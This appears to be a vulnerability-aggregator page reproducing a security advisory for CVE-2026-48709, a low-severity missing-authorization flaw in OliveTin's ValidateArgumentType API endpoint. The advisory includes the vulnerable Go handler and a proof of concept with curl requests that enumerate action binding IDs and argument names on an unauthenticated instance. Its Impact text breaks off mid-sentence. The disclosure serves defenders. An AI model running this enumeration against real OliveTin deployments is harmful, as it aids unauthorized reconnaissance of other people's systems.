🛡️ CVE-2026-48709 — olivetin

🟢 CVSS 3.7 — Low ✅ No Known Exploit CWE-862 NVD
3.7
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

OliveTin: ValidateArgumentType API Endpoint's Missing Authentication Allows Action and Argument Enumeration

Summary

The ValidateArgumentType RPC endpoint in service/internal/api/api.go does not perform any authentication or authorization checks. Unlike all other data-returning API endpoints, it does not call auth.UserFromApiCall or checkDashboardAccess. When AuthRequireGuestsToLogin is enabled (the security-conscious configuration), this endpoint remains accessible to unauthenticated users and can be used as an oracle to enumerate valid action binding IDs and their argument configurations.

Details

Root Cause

The ValidateArgumentType handler at service/internal/api/api.go:726 has no authentication check:

```go

func (api *oliveTinAPI) ValidateArgumentType(ctx ctx.Context, req *connect.Request[apiv1.ValidateArgumentTypeRequest]) (*connect.Response[apiv1.ValidateArgumentTypeResponse], error) {

if api.argumentNotFoundForValidation(req.Msg) {

return nil, connect.NewError(connect.CodeNotFound, fmt.Errorf("action or argument not found for binding ID %s", req.Msg.BindingId))

}

err := api.validateArgumentTypeInternal(req.Msg)

desc := ""

if err != nil {

desc = err.Error()

}

return connect.NewResponse(&apiv1.ValidateArgumentTypeResponse{

Valid: err == nil,

Description: desc,

}), nil

}

```

Compare this with adjacent endpoints that DO have auth checks:

```go

// WhoAmI - has auth check

func (api *oliveTinAPI) WhoAmI(ctx ctx.Context, req *connect.Request[apiv1.WhoAmIRequest]) ... {

user := auth.UserFromApiCall(ctx, req, api.cfg)

if err := api.checkDashboardAccess(user); err != nil {

return nil, err

}

...

}

// GetDashboard - has auth check

func (api *oliveTinAPI) GetDashboard(ctx ctx.Context, req *connect.Request[apiv1.GetDashboardRequest]) ... {

user := auth.UserFromApiCall(ctx, req, api.cfg)

if err := api.checkDashboardAccess(user); err != nil {

return nil, err

}

...

}

```

Oracle Behavior

The endpoint provides different responses based on whether the binding and argument exist:

  • Valid binding + valid argument: Returns {valid: true/false, description: "..."} (200 OK)
  • Valid binding + invalid argument: Returns CodeNotFound error
  • Invalid binding: Returns CodeNotFound error

While the error messages for the last two cases are identical, an attacker who knows a valid binding ID (or can guess one from action title SHA256) can enumerate argument names by observing which ones return 200 OK vs CodeNotFound.

Binding ID Predictability

Binding IDs are SHA256 hashes of action titles (see service/internal/executor/executor_actions.go). Since action titles are typically short, human-readable strings (e.g., "Ping", "Restart Service", "Deploy"), an attacker can precompute hashes of likely titles and test them against this endpoint.

Scope

This finding is only meaningful when AuthRequireGuestsToLogin: true is configured. In the default configuration where guests have full dashboard access, the action information is already visible through the dashboard API.

When AuthRequireGuestsToLogin is true, checkDashboardAccess blocks guest access to other endpoints but NOT to ValidateArgumentType.

PoC

Prerequisites

  • OliveTin instance with AuthRequireGuestsToLogin: true configured

Step 1: Verify other endpoints require auth

Confirm that regular endpoints reject unauthenticated requests:

```bash

curl -s -X POST http://localhost:1337/api/GetDashboard \

-H "Content-Type: application/json" \

-d "{}"

# Returns: CodePermissionDenied - "guests are not allowed to access the dashboard"

```

Step 2: Enumerate binding IDs via ValidateArgumentType

Test candidate binding IDs (SHA256 of guessed action titles):

```bash

# Test if an action titled "Ping" exists

BINDING_ID=$(echo -n "Ping" | sha256sum | cut -d" " -f1)

curl -s -X POST http://localhost:1337/api/ValidateArgumentType \

-H "Content-Type: application/json" \

-d "{\"bindingId\":\"$BINDING_ID\",\"argumentName\":\"test\",\"value\":\"x\",\"type\":\"ascii\"}"

# If action exists: returns CodeNotFound (argument "test" not found for this binding)

# If action does not exist: returns CodeNotFound (same message, but confirms the oracle)

```

Step 3: Enumerate argument names for a known binding

Once a valid binding ID is known, brute-force argument names:

```bash

# Test if argument "target" exists for the Ping action

curl -s -X POST http://localhost:1337/api/ValidateArgumentType \

-H "Content-Type: application/json" \

-d "{\"bindingId\":\"$BINDING_ID\",\"argumentName\":\"target\",\"value\":\"test\",\"type\":\"ascii\"}"

# If argument exists: returns {valid: true/false} (200 OK) -- CONFIRMED

# If argument does not exist: returns CodeNotFound error

```

Impact

1. Information Disclosure: Unauthenticated users can enumerate which actions exist (by testing binding IDs) and w

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is high, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality low, integrity none, availability none.

Weakness class

CVE-2026-48709 is classified as CWE-862: Missing Authorization. No authorisation check is performed before carrying out a restricted action.

Affected software

CVE-2026-48709 is recorded against 2 packages.

  • github.com/olivetin/olivetin
  • unknown

Timeline and source

Published on 24 June 2026 and last revised on 25 June 2026. No public exploit is currently recorded for this entry. A vendor advisory or fix has been published. Record sourced from NVD.

References

github.com (Web)
nvd.nist.gov (Advisory)
github.com (Web)
github.com (Package)
github.com (Web)

Details

Severity LOW
CVSS Score 3.7
CVSS Vector CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
CWE CWE-862
Public Exploit ✅ No
Source NVD
Published 2026-06-24
Updated 2026-08-12
Modified 2026-06-25

Affected Packages

Software From version Fixed in
github.com/olivetin/olivetin
unknown

Similar Threats

Free Vulnerability Check

Is your site affected by CVE-2026-48709?

BotEraser helps you identify potentially vulnerable plugins and themes by checking your installation against CVE-2026-48709 and other known CVE records.

Scan My Site Free →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.